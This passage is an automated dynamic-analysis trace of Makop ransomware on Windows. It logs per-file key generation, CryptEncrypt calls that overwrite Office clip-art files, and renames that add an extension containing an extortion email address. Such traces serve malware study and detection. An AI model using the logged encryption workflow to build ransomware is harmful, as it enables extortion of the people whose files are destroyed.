(HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.067] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.068] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0127.072] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.072] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.072] GetProcessHeap () returned 0x48a0000 [0127.072] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.072] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.073] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.073] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.073] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.073] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.074] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.074] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.075] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.075] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.075] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6fd2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6fd2, lpOverlapped=0x0) returned 1 [0127.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6fe0, dwBufLen=0x6fe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6fe0) returned 1 [0127.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6fe0, lpOverlapped=0x0) returned 1 [0127.078] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x70b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.078] SetEndOfFile (hFile=0xf0) returned 1 [0127.086] GetProcessHeap () returned 0x48a0000 [0127.086] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.086] GetProcessHeap () returned 0x48a0000 [0127.086] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.086] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.088] CloseHandle (hObject=0xf0) returned 1 [0127.088] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0127.088] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned 63 [0127.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.089] GetProcessHeap () returned 0x48a0000 [0127.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.089] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.089] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.089] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0127.116] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.116] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.116] GetProcessHeap () returned 0x48a0000 [0127.116] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.117] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.117] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.118] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.119] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5f6e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5f6e, lpOverlapped=0x0) returned 1 [0127.121] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f70, dwBufLen=0x5f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f70) returned 1 [0127.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5f70, lpOverlapped=0x0) returned 1 [0127.122] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.122] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.122] SetEndOfFile (hFile=0xf0) returned 1 [0127.130] GetProcessHeap () returned 0x48a0000 [0127.130] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.130] GetProcessHeap () returned 0x48a0000 [0127.130] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.130] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.132] CloseHandle (hObject=0xf0) returned 1 [0127.132] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0127.132] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0127.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.135] GetProcessHeap () returned 0x48a0000 [0127.135] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.135] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0127.141] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.141] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.141] GetProcessHeap () returned 0x48a0000 [0127.141] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.141] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.141] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.142] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.143] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b4a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b4a, lpOverlapped=0x0) returned 1 [0127.144] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b50, dwBufLen=0x4b50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b50) returned 1 [0127.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4b50, lpOverlapped=0x0) returned 1 [0127.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.145] SetEndOfFile (hFile=0xf0) returned 1 [0127.154] GetProcessHeap () returned 0x48a0000 [0127.154] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.154] GetProcessHeap () returned 0x48a0000 [0127.154] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.154] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.156] CloseHandle (hObject=0xf0) returned 1 [0127.156] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0127.156] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0127.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.157] GetProcessHeap () returned 0x48a0000 [0127.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.157] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.158] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.162] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.162] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.162] GetProcessHeap () returned 0x48a0000 [0127.162] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.162] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.164] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c88, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c88, lpOverlapped=0x0) returned 1 [0127.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c90, dwBufLen=0x1c90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c90) returned 1 [0127.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c90, lpOverlapped=0x0) returned 1 [0127.166] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.166] SetEndOfFile (hFile=0xf0) returned 1 [0127.186] GetProcessHeap () returned 0x48a0000 [0127.186] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.187] GetProcessHeap () returned 0x48a0000 [0127.187] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.187] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.189] CloseHandle (hObject=0xf0) returned 1 [0127.189] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, 